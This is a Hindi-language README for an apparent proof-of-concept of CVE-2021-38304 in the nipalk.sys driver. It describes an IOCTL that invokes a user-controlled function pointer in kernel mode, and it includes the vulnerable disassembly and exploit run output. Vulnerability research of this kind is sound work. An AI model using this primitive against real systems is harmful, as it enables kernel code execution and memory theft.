
CVE-2021-38304 प्रूफ ऑफ कॉन्सेप्ट
यह रिपॉजिटरी नेशनल इंस्ट्रूमेंट्स के nipalk.sys ड्राइवर के पुराने संस्करणों में एक गंभीर सुरक्षा भेद्यता के लिए प्रूफ ऑफ कॉन्सेप्ट रखता है। यह भेद्यता कर्नेल मोड में मनमाना कोड निष्पादन और मेमोरी प्रकटीकरण की अनुमति देती है। यह केवल व्यक्तिगत अनुसंधान के लिए है।
nipalk.sys ड्राइवर एक विशिष्ट IOCTL अनुरोध के प्रसंस्करण के दौरान उपयोगकर्ता द्वारा आपूर्ति किए गए पॉइंटर्स को अनुचित तरीके से संभालता है। यह दोष एक हमलावर को एक फंक्शन पॉइंटर प्रदान करने में सक्षम बनाता है जिसे ड्राइवर नियंत्रित पैरामीटर्स के साथ कर्नेल संदर्भ में कॉल करेगा।
RCX और RDX रजिस्टरों को नियंत्रित कर सकता है।RtlCopyMemory जैसे फंक्शन कॉल करके, एक हमलावर मनमानी कर्नेल मेमोरी पढ़ सकता है।भेद्यता ड्राइवर द्वारा उपयोगकर्ता-मोड अनुप्रयोगों द्वारा प्रदान किए गए पॉइंटर्स को सत्यापित करने में विफलता से उत्पन्न होती है। IOCTL 0xABCD03C4 के प्रसंस्करण के दौरान, ड्राइवर एक उपयोगकर्ता-नियंत्रित संरचना से एक फंक्शन पॉइंटर प्राप्त करता है और उचित जांच के बिना इसे लागू करता है:
0045561e 48 8b 01 MOV RAX,qword ptr [param_1]
00455621 49 8b 52 18 MOV irp,qword ptr [R10 + 0x18]
00455625 ff 50 08 CALL qword ptr [RAX + 0x8]
[RAX + 8] पर फंक्शन पॉइंटर कर्नेल संदर्भ में निष्पादित होता है।RCX और RDX उपयोगकर्ता द्वारा नियंत्रित होते हैं।[+] Starting exploit
[+] Memory allocated
[+] Values before IOCTL:
exploit->dummy: 00000000001b0000
exploit->function_pointer: fffff8017ea21300
[+] Device opened successfully
[+] Sending IOCTL
[+] Values after IOCTL:
exploit->dummy: 7208f88349c18b48
exploit->function_pointer: ffff7710f8834937
[+] DeviceIoControl succeeded. Bytes returned: 8
[+] Buffer Output: 1769472
[!] WARNING: exploit->dummy has changed!
[!] WARNING: exploit->function_pointer has changed!
[+] Exploit finished
यह PoC केवल शैक्षिक उद्देश्यों के लिए है।